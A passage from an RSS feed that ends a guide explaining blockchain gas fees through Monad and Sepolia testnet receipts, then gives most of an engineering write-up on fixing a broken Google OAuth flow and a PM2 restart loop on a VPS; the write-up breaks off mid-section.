&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/mia1vceke3h2ifd88wof.png&quot; alt=&quot;Ethereum Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let's put our Monad Testnet interaction and the Sepolia Testnet receipt side by side&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Concept                           &lt;/th&gt;&lt;th&gt;Monad Testnet: &lt;code&gt;increment()&lt;/code&gt; &lt;/th&gt;&lt;th&gt;    Sepolia Testnet: &lt;code&gt;close()&lt;/code&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Gas Limit                         &lt;/td&gt;&lt;td&gt;                      49,785 &lt;/td&gt;&lt;td&gt;                       156,059&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Used                          &lt;/td&gt;&lt;td&gt;                      49,785 &lt;/td&gt;&lt;td&gt;                       152,492&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Usage                         &lt;/td&gt;&lt;td&gt;                        100% &lt;/td&gt;&lt;td&gt;                        97.71%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Effective Gas Price (as reported) &lt;/td&gt;&lt;td&gt;                 102.82 Gwei &lt;/td&gt;&lt;td&gt;              0.000153611 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Fee                   &lt;/td&gt;&lt;td&gt;            0.0051188937 MON &lt;/td&gt;&lt;td&gt;      0.000000023424448612 ETH&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fee Calculation                   &lt;/td&gt;&lt;td&gt;        Gas Used x Gas Price &lt;/td&gt;&lt;td&gt;Gas Used x Effective Gas Price&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;When you look at this table, you might notice that &lt;code&gt;102.82 Gwei&lt;/code&gt; (&lt;code&gt;0.0051 MON&lt;/code&gt;) looks numerically much larger than &lt;code&gt;0.000153611 Gwei&lt;/code&gt; (&lt;code&gt;0.0000000234 ETH&lt;/code&gt;). Does that mean gas fees on Monad are expensive?&lt;/p&gt;
&lt;p&gt;Not at all. In real-world dollar terms, Monad is designed so transactions cost a fraction of a cent. Those raw numbers cannot be compared directly for two reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Different Native Tokens (&lt;code&gt;MON-Gwei&lt;/code&gt; vs. &lt;code&gt;ETH-Gwei&lt;/code&gt;)&lt;/strong&gt;: &lt;code&gt;1 Gwei&lt;/code&gt; on Ethereum is one-billionth of &lt;code&gt;1 ETH&lt;/code&gt; (an asset priced in thousands of dollars), whereas &lt;code&gt;1 Gwei&lt;/code&gt; on Monad is one-billionth of &lt;code&gt;1 MON&lt;/code&gt;. Comparing &lt;code&gt;0.005 MON&lt;/code&gt; to &lt;code&gt;0.00000002 ETH&lt;/code&gt; is like comparing &lt;code&gt;50 Naira&lt;/code&gt; (or 5 Japanese Yen) to &lt;code&gt;0.03 US Dollars&lt;/code&gt;--a bigger number in one currency doesn't mean a higher cost!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monad's &lt;code&gt;100 Gwei&lt;/code&gt; Minimum Base Fee Floor&lt;/strong&gt;: To prevent spam when blocks aren't full, Monad enforces a minimum base fee of &lt;code&gt;100 MON-gwei&lt;/code&gt; (which is why our transaction was &lt;code&gt;102.82 Gwei&lt;/code&gt;: &lt;code&gt;100 Gwei&lt;/code&gt; base fee + &lt;code&gt;2.82 Gwei&lt;/code&gt; priority tip). Sepolia Testnet has no 100 Gwei floor, so its testnet base fee had drifted down to nearly zero (&lt;code&gt;0.000000015 Gwei&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;common-misunderstandings-about-gas-quick-checklist-&quot;&gt;Common Misunderstandings About Gas (Quick Checklist)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gas and cryptocurrency are the same thing&lt;/strong&gt;. They are not. Gas is a measurement of computational work; ETH and MON are the native assets used to pay for that work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The gas limit is the exact amount of gas a transaction will use&lt;/strong&gt;. Not necessarily. The gas limit is the maximum allowance; actual execution often consumes less.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A transaction with &lt;code&gt;0&lt;/code&gt; value is free&lt;/strong&gt;. Incorrect. Both of our transactions had a value of &lt;code&gt;0&lt;/code&gt;, and both required fees to pay for smart contract execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A higher gas limit always means a higher fee&lt;/strong&gt;. It depends on the network's architecture! On Ethereum, you are only billed for &lt;code&gt;Gas Used&lt;/code&gt;, and unused gas is refunded. On Monad, because blocks are packed asynchronously before execution, you are billed for the entire &lt;code&gt;Gas Limit&lt;/code&gt; you reserve.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enough gas guarantees a transaction will succeed&lt;/strong&gt;. Incorrect. Even with plenty of gas, a transaction will revert if it hits a failed contract condition or permission check. &lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;how-to-explain-gas-to-someone-else&quot;&gt;How to Explain Gas to Someone Else&lt;/h3&gt;
&lt;p&gt;If someone asks you, &lt;em&gt;&quot;What is gas on the blockchain, and how do fees work?&quot;&lt;/em&gt;, here is how you can break it down cleanly&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Gas is the unit that measures how much computational work a transaction requires--just like liters of fuel needed for a delivery truck to complete a trip.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Every transaction sets a &lt;strong&gt;Gas Limit&lt;/strong&gt; (calculated automatically by your wallet simulating the transaction), which acts as a maximum fuel cap so a bad loop can't run forever. As the transaction runs, it tallies up the &lt;strong&gt;Gas Used&lt;/strong&gt; based on the exact instructions executed.&lt;/p&gt;
&lt;p&gt;To find the &lt;strong&gt;Transaction Fee&lt;/strong&gt;, you multiply the gas quantity by the Gas Price (measured in &lt;strong&gt;Gwei&lt;/strong&gt;). On Ethereum, you only pay for the fuel your code actually burned (&lt;code&gt;Gas Used&lt;/code&gt;), and any unused gas is refunded immediately. On high-speed asynchronous networks like Monad, where block space is reserved before running the code, you pay for the entire fuel limit you reserved upfront (&lt;code&gt;Gas Limit&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Once you separate the unit of work, the maximum allowance, the actual consumption, and the price per unit, any transaction receipt on any EVM block explorer becomes intuitive to read.&lt;/p&gt;
&lt;h3 id=&quot;let-s-figure-out-the-rest-together&quot;&gt;Let's Figure Out the Rest Together&lt;/h3&gt;
&lt;p&gt;Writing this guide started with a simple realization: it is completely normal to use blockchains, deploy contracts, and still feel a bit fuzzy on what every single line of a transaction receipt is actually telling you. Moving from memorizing definitions to tracing the exact numbers is how the mental model finally clicks.&lt;/p&gt;
&lt;p&gt;Now I'd love to hear from you: &lt;strong&gt;What part of Gas still feels unclear, confusing, or tricky to explain?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is there a field on a block explorer receipt that you've always wondered about?&lt;/li&gt;
&lt;li&gt;Have you ever run into an unexpected &lt;code&gt;Out of Gas&lt;/code&gt; error or a strange gas estimation spike while testing a contract?&lt;/li&gt;
&lt;li&gt;Or do you have a favorite real-world analogy of your own for explaining gas, &lt;code&gt;Gwei&lt;/code&gt;, or &lt;code&gt;EIP-1559&lt;/code&gt; to someone new?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Drop your questions, edge cases, or thoughts in the comments below--no question is too basic or too far down the rabbit hole. Let's unpack them together.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.binnadev.com&quot;&gt;BinnaDevLab&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Reasoning Precedes Coding.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32560/understanding-gas-on-the-blockchain-a-practical-guide-using-real-transactions</guid>
<pubDate>Mon, 26 Oct 2026 13:35:40 +0000</pubDate>
</item>
<item>
<title>From Broken Google OAuth to a Stable Sepolia E2E Environment: Engineering MyZubster on a VPS</title>
<link>https://coderlegion.com/28744/from-broken-google-oauth-to-stable-sepolia-e2e-environment-engineering-myzubster-on-vps</link>
<description>&lt;h2 id=&quot;from-broken-google-oauth-to-a-stable-sepolia-e2e-environment-engineering-myzubster-on-a-vps&quot;&gt;From Broken Google OAuth to a Stable Sepolia E2E Environment: Engineering MyZubster on a VPS&lt;/h2&gt;
&lt;p&gt;Over the last development cycle, we worked on stabilizing the MyZubster Sepolia environment and turning what was initially a collection of partially working services into a much more predictable end-to-end infrastructure.&lt;/p&gt;
&lt;p&gt;The work involved several layers of the stack:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Node.js / Express backend&lt;/li&gt;
&lt;li&gt;Google OAuth 2.0&lt;/li&gt;
&lt;li&gt;React frontend&lt;/li&gt;
&lt;li&gt;Ethereum Sepolia testing&lt;/li&gt;
&lt;li&gt;MongoDB&lt;/li&gt;
&lt;li&gt;PM2 process management&lt;/li&gt;
&lt;li&gt;Cloudflare tunneling&lt;/li&gt;
&lt;li&gt;VPS deployment&lt;/li&gt;
&lt;li&gt;Environment configuration&lt;/li&gt;
&lt;li&gt;Urban Lab / I-ECO-01 services&lt;/li&gt;
&lt;li&gt;Git branch and deployment management&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This article documents what we fixed, how we diagnosed the problems, what is working now, and what still needs to be completed.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;1-the-starting-point&quot;&gt;1. The Starting Point&lt;/h3&gt;
&lt;p&gt;The Sepolia environment was running on a VPS with several services managed by PM2.&lt;/p&gt;
&lt;p&gt;The main components included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MyZubster Sepolia backend&lt;/li&gt;
&lt;li&gt;MyZubster Sepolia frontend&lt;/li&gt;
&lt;li&gt;MyZubster Social&lt;/li&gt;
&lt;li&gt;MyZubster Web&lt;/li&gt;
&lt;li&gt;Urban Lab / I-ECO-01&lt;/li&gt;
&lt;li&gt;Cloudflared&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The environment was operational, but two important areas were unstable.&lt;/p&gt;
&lt;p&gt;The first was Google authentication.&lt;/p&gt;
&lt;p&gt;Users could start the OAuth flow and Google returned the authorization callback, but the backend failed during the authorization-code exchange.&lt;/p&gt;
&lt;p&gt;The second problem was the Urban Lab service.&lt;/p&gt;
&lt;p&gt;It was trapped in a PM2 restart loop, generating millions of restarts because runtime dependencies required by &lt;code&gt;server.js&lt;/code&gt; were missing.&lt;/p&gt;
&lt;p&gt;We debugged these independently instead of treating the VPS as a single black box.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;2-debugging-google-oauth&quot;&gt;2. Debugging Google OAuth&lt;/h2&gt;
&lt;p&gt;The original application error was generic:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Login Google non riuscito
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That message was not enough to identify whether the problem was caused by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the authorization code,&lt;/li&gt;
&lt;li&gt;OAuth state,&lt;/li&gt;
&lt;li&gt;callback URI,&lt;/li&gt;
&lt;li&gt;client ID,&lt;/li&gt;
&lt;li&gt;client secret,&lt;/li&gt;
&lt;li&gt;Google configuration,&lt;/li&gt;
&lt;li&gt;proxy forwarding,&lt;/li&gt;
&lt;li&gt;or application logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We therefore instrumented the token exchange temporarily.&lt;/p&gt;
&lt;p&gt;The relevant backend flow exchanges the authorization code against Google's token endpoint and then retrieves the verified Google user profile.&lt;/p&gt;
&lt;p&gt;The diagnostic logging revealed the actual failure:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;status: 401
error: invalid_client
description: The provided client secret is invalid.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This immediately changed the investigation.&lt;/p&gt;
&lt;p&gt;The callback itself was reaching the backend correctly.&lt;/p&gt;
&lt;p&gt;The OAuth state existed.&lt;/p&gt;
&lt;p&gt;The authorization code existed.&lt;/p&gt;
&lt;p&gt;The problem was the credentials used during the token exchange.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;3-validating-the-runtime-environment&quot;&gt;3. Validating the Runtime Environment&lt;/h2&gt;
&lt;p&gt;One of the important lessons from this debugging session was that validating &lt;code&gt;.env&lt;/code&gt; alone is not sufficient.&lt;/p&gt;
&lt;p&gt;We checked both the configuration file and the running PM2 process.&lt;/p&gt;
&lt;p&gt;The Google client configuration was inspected without printing the complete secret.&lt;/p&gt;
&lt;p&gt;We verified properties such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;CLIENT ID
SECRET PRESENT
SECRET LENGTH
SECRET FORMAT
CALLBACK URL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The configured callback was:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;https://sepolia.myzubster.com/api/auth/social/google/callback
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then discovered that the previously configured secret was not a valid secret for the OAuth client being used.&lt;/p&gt;
&lt;p&gt;After replacing it with the correct Google OAuth client secret, the token exchange started succeeding.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;4-google-oauth-successfully-completed&quot;&gt;4. Google OAuth Successfully Completed&lt;/h2&gt;
&lt;p&gt;After correcting the OAuth credentials, the backend began reporting successful callbacks.&lt;/p&gt;
&lt;p&gt;The flow became:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Browser
   |
   v
Google Authorization
   |
   v
/api/auth/social/google/callback
   |
   v
Authorization Code Exchange
   |
   v
Google Access Token
   |
   v
Google UserInfo
   |
   v
MyZubster account verification
   |
   v
Social login ticket
   |
   v
Frontend
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The backend successfully received callbacks containing both the authorization code and OAuth state.&lt;/p&gt;
&lt;p&gt;Most importantly, the previous &lt;code&gt;invalid_client&lt;/code&gt; token error disappeared.&lt;/p&gt;
&lt;p&gt;The public provider endpoint also confirmed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;success&quot;: true,
  &quot;data&quot;: {
    &quot;providers&quot;: {
      &quot;google&quot;: true,
      &quot;github&quot;: false,
      &quot;facebook&quot;: false
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Google authentication is therefore enabled in the Sepolia environment.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;5-fixing-the-oauth-redirect&quot;&gt;5. Fixing the OAuth Redirect&lt;/h2&gt;
&lt;p&gt;Authentication succeeding at Google was only part of the problem.&lt;/p&gt;
&lt;p&gt;The backend was still redirecting successful logins to an old Vercel deployment.&lt;/p&gt;
&lt;p&gt;The runtime destination was effectively:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;old Vercel deployment
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;instead of:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;https://sepolia.myzubster.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We corrected the runtime environment so the relevant public URLs resolve to the Sepolia deployment.&lt;/p&gt;
&lt;p&gt;The running PM2 process was verified with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;FRONTEND_URL=https://sepolia.myzubster.com
GATEWAY_PUBLIC_URL=https://sepolia.myzubster.com
PUBLIC_APP_URL=https://sepolia.myzubster.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was an important distinction.&lt;/p&gt;
&lt;p&gt;Updating &lt;code&gt;.env&lt;/code&gt; is not necessarily equivalent to updating the environment of an already running process.&lt;/p&gt;
&lt;p&gt;For production-style deployments, the effective runtime configuration must always be verified.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;6-testing-the-complete-oauth-path&quot;&gt;6. Testing the Complete OAuth Path&lt;/h2&gt;
&lt;p&gt;We then tested the complete flow again.&lt;/p&gt;
&lt;p&gt;The callback reached the backend with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;hasCode: true
hasState: true
hasError: false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Google token exchange completed successfully.&lt;/p&gt;
&lt;p&gt;No new Google token error appeared.&lt;/p&gt;
&lt;p&gt;The backend remained online.&lt;/p&gt;
&lt;p&gt;The provider endpoint remained available.&lt;/p&gt;
&lt;p&gt;The PM2 process PID remained stable.&lt;/p&gt;
&lt;p&gt;This gave us evidence that the fix was not simply masking an application crash.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;7-removing-temporary-debug-instrumentation&quot;&gt;7. Removing Temporary Debug Instrumentation&lt;/h2&gt;
&lt;p&gt;Temporary instrumentation is useful during incident analysis, but it should not become permanent application noise.&lt;/p&gt;
&lt;p&gt;After confirming the OAuth path, we removed the temporary HTTP callback logger.&lt;/p&gt;
&lt;p&gt;We retained useful error-level logging around OAuth failures:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;console.error('[OAUTH-CALLBACK-ERROR]', {
  provider,
  message: String(error?.message || error)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This provides enough information for future troubleshooting without logging authorization codes, OAuth state values, access tokens, or secrets.&lt;/p&gt;
&lt;p&gt;That distinction matters.&lt;/p&gt;
&lt;p&gt;Authentication debugging must provide observability without accidentally creating a credential-leak mechanism.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;8-stabilizing-urban-lab-i-eco-01&quot;&gt;8. Stabilizing Urban Lab / I-ECO-01&lt;/h2&gt;
&lt;p&gt;At the same time, another service on the VPS had a completely different problem.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;urbanlab&lt;/code&gt; PM2 process had accumulated an extremely large restart count.&lt;/p&gt;
&lt;p&gt;Inspection of the error log showed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Error: Cannot find module 'helmet'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server required:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;require('dotenv').config();
const express = require('express');
const cors = require('cors');
const helmet = require('helmet');
const mongoose = require('mongoose');
const { createServer } = require('http');
const { Server } = require('socket.io');
const winston = require('winston');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But &lt;code&gt;package.json&lt;/code&gt; originally contained only:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;cors
dotenv
express
mongoose
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The runtime therefore expected modules that the project did not declare/install.&lt;/p&gt;
&lt;p&gt;We added the missing dependencies:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;helmet
socket.io
winston
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After installation, each required module could be resolved successfully.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;9-stopping-a-multi-million-restart-pm2-loop&quot;&gt;9. Stopping a Multi-Million-Restart PM2 Loop&lt;/h2&gt;
&lt;p&gt;Once the missing dependencies were installed, Urban Lab started normally.&lt;/p&gt;
&lt;p&gt;The server reported:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Server started on port 5002
MongoDB connected
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Its health endpoint returned:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;status&quot;: &quot;ok&quot;,
  &quot;service&quot;: &quot;I-ECO-01&quot;,
  &quot;mongodb&quot;: &quot;connected&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then compared the PM2 process before and after a waiting period.&lt;/p&gt;
&lt;p&gt;The PID remained unchanged.&lt;/p&gt;
&lt;p&gt;The restart counter remained unchanged.&lt;/p&gt;
&lt;p&gt;That confirmed that the restart loop had actually stopped.&lt;/p&gt;
&lt;p&gt;This is much more meaningful than simply seeing:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;status: online
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;for a few seconds.&lt;/p&gt;
&lt;p&gt;A process can repeatedly appear online while constantly crashing and restarting.&lt;/p&gt;
&lt;p&gt;Process stability needs to be measured over time.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;10-current-vps-architecture&quot;&gt;10. Current VPS Architecture&lt;/h2&gt;
&lt;p&gt;The resulting environment now looks approximately like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;                    Internet
                       |
                       v
                Cloudflare Tunnel
                       |
                       v
            sepolia.myzubster.com
                       |
          +------------+------------+
          |                         |
          v                         v
     React Frontend            Express Backend
                                   |
                    +--------------+--------------+
                    |              |              |
                    v              v              v
                 MongoDB       Google OAuth   Sepolia EVM
                    |
                    v
              Application Data

Additional VPS services:

PM2
 |
 +-- MyZubster Sepolia Backend
 +-- MyZubster Sepolia Frontend
 +-- MyZubster Social
 +-- MyZubster Web
 +-- Urban Lab / I-ECO-01
 +-- Cloudflared
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PM2 is configured under systemd, and the active process list has been saved using:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pm2 save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means the current process configuration can be restored after a reboot through the existing PM2 startup integration.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;11-git-hygiene&quot;&gt;11. Git Hygiene&lt;/h2&gt;
&lt;p&gt;Another important part of the work was separating debugging artifacts from actual source changes.&lt;/p&gt;
&lt;p&gt;During debugging we created several temporary backups.&lt;/p&gt;
&lt;p&gt;Before committing, those files were removed from the working tree.&lt;/p&gt;
&lt;p&gt;We also explicitly verified that &lt;code&gt;.env&lt;/code&gt; remained ignored.&lt;/p&gt;
&lt;p&gt;The final source change was isolated and committed as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;fix(auth): improve OAuth callback error logging
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting commit was:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;02f06f22
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The working tree was clean after the commit.&lt;/p&gt;
&lt;p&gt;The branch:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;vps/sepolia-e2e-test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;was then pushed to the remote repository.&lt;/p&gt;
&lt;p&gt;This gives us a reproducible Git checkpoint corresponding to the working VPS state without committing the environment secrets.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;12-security-considerations&quot;&gt;12. Security Considerations&lt;/h2&gt;
&lt;p&gt;One of the most important lessons from this work concerns secrets.&lt;/p&gt;
&lt;p&gt;OAuth client secrets, API keys, database credentials, private keys, GitHub tokens, JWT signing secrets, and similar credentials should never be committed to Git.&lt;/p&gt;
&lt;p&gt;The repository correctly ignores &lt;code&gt;.env&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;.gitignore&lt;/code&gt; is only one layer of protection.&lt;/p&gt;
&lt;p&gt;The longer-term architecture should move production credentials toward dedicated secret management and controlled deployment-time injection.&lt;/p&gt;
&lt;p&gt;We also deliberately avoided logging:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Google client secret
OAuth authorization code
OAuth state
access tokens
JWTs
database passwords
private keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Observability and secret exposure must remain separate concerns.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;13-what-is-working-now&quot;&gt;13. What Is Working Now&lt;/h2&gt;
&lt;p&gt;At this stage we have achieved several concrete milestones.&lt;/p&gt;
&lt;p&gt;Google OAuth can complete the server-side authorization-code flow.&lt;/p&gt;
&lt;p&gt;The Sepolia backend exposes Google as an enabled authentication provider.&lt;/p&gt;
&lt;p&gt;The callback is routed through the public Sepolia infrastructure.&lt;/p&gt;
&lt;p&gt;The application runtime is using the intended Sepolia frontend/public URLs.&lt;/p&gt;
&lt;p&gt;PM2 is running the MyZubster services.&lt;/p&gt;
&lt;p&gt;PM2 configuration has been persisted.&lt;/p&gt;
&lt;p&gt;Urban Lab / I-ECO-01 is no longer trapped in its missing-module restart loop.&lt;/p&gt;
&lt;p&gt;Its MongoDB connection is operational.&lt;/p&gt;
&lt;p&gt;The I-ECO-01 health endpoint responds successfully.&lt;/p&gt;
&lt;p&gt;The OAuth debugging changes have been cleaned up.&lt;/p&gt;
&lt;p&gt;The relevant source change has been committed and pushed to a dedicated branch.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;14-what-still-needs-to-be-done&quot;&gt;14. What Still Needs to Be Done&lt;/h2&gt;
&lt;p&gt;A working OAuth callback does not mean the entire platform is production-ready.&lt;/p&gt;
&lt;p&gt;Several areas still need engineering work.&lt;/p&gt;
&lt;h3 id=&quot;authentication-hardening&quot;&gt;Authentication hardening&lt;/h3&gt;
&lt;p&gt;The OAuth implementation should receive additional automated tests covering:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;invalid state
expired state
missing code
provider errors
invalid client configuration
token endpoint failures
userinfo failures
unverified email
expired social-login tickets
replay attempts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GitHub and Facebook providers are currently disabled according to the provider endpoint and can be implemented or enabled separately when their configuration is ready.&lt;/p&gt;
&lt;h3 id=&quot;deployment-reproducibility&quot;&gt;Deployment reproducibility&lt;/h3&gt;
&lt;p&gt;The VPS currently represents an important working environment.&lt;/p&gt;
&lt;p&gt;The next goal should be making that environment reproducible from source and configuration rather than depending on manual server history.&lt;/p&gt;
&lt;p&gt;That means documenting and eventually automating:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;dependency installation
environment injection
PM2 configuration
Cloudflare configuration
frontend startup
backend startup
health checks
rollback
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;monitoring&quot;&gt;Monitoring&lt;/h3&gt;
&lt;p&gt;A process being online is not sufficient operational monitoring.&lt;/p&gt;
&lt;p&gt;We want visibility into:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;restart rate
HTTP error rate
OAuth failure rate
MongoDB availability
response latency
memory consumption
CPU consumption
Sepolia RPC failures
WebSocket availability
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;secret-management&quot;&gt;Secret management&lt;/h3&gt;
&lt;p&gt;Production credentials should eventually be rotated and managed through a dedicated secret-management workflow.&lt;/p&gt;
&lt;h3 id=&quot;ci-cd&quot;&gt;CI/CD&lt;/h3&gt;
&lt;p&gt;The current branch and commit structure gives us a good foundation for moving toward automated deployment.&lt;/p&gt;
&lt;p&gt;The desired flow is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Developer
   |
   v
Git branch
   |
   v
Pull Request
   |
   v
Automated Tests
   |
   v
Security Checks
   |
   v
Merge
   |
   v
Sepolia Deployment
   |
   v
Health Checks
   |
   v
Production Promotion
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;15-where-we-want-to-go&quot;&gt;15. Where We Want to Go&lt;/h2&gt;
&lt;p&gt;The objective is larger than simply making Google login work.&lt;/p&gt;
&lt;p&gt;The Sepolia environment is becoming the integration layer where we can validate the interaction between identity, application state, Web3 payments, AI services, Urban Lab infrastructure, and MyZubster's broader ecosystem.&lt;/p&gt;
&lt;p&gt;The architecture we are moving toward is approximately:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;                         MyZubster
                             |
        +--------------------+--------------------+
        |                    |                    |
        v                    v                    v
     Identity             Web3 Layer          AI Layer
        |                    |                    |
   Google OAuth          Ethereum           AI Services
   GitHub OAuth          Sepolia            Zorgax / Pytho
   Social Identity       Wallets            Automation
        |                    |                    |
        +--------------------+--------------------+
                             |
                             v
                        Core Backend
                             |
             +---------------+---------------+
             |                               |
             v                               v
          MongoDB                       Urban Lab
                                            |
                                  +---------+---------+
                                  |                   |
                                  v                   v
                              IoT / GPS        Environmental Data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Sepolia environment gives us a place to integrate these components without treating production as the testing environment.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;16-engineering-lessons&quot;&gt;16. Engineering Lessons&lt;/h2&gt;
&lt;p&gt;Several lessons from this debugging cycle are worth keeping.&lt;/p&gt;
&lt;h4 id=&quot;inspect-the-real-provider-response&quot;&gt;Inspect the real provider response&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;Login failed&lt;/code&gt; tells you almost nothing.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;401 invalid_client
The provided client secret is invalid
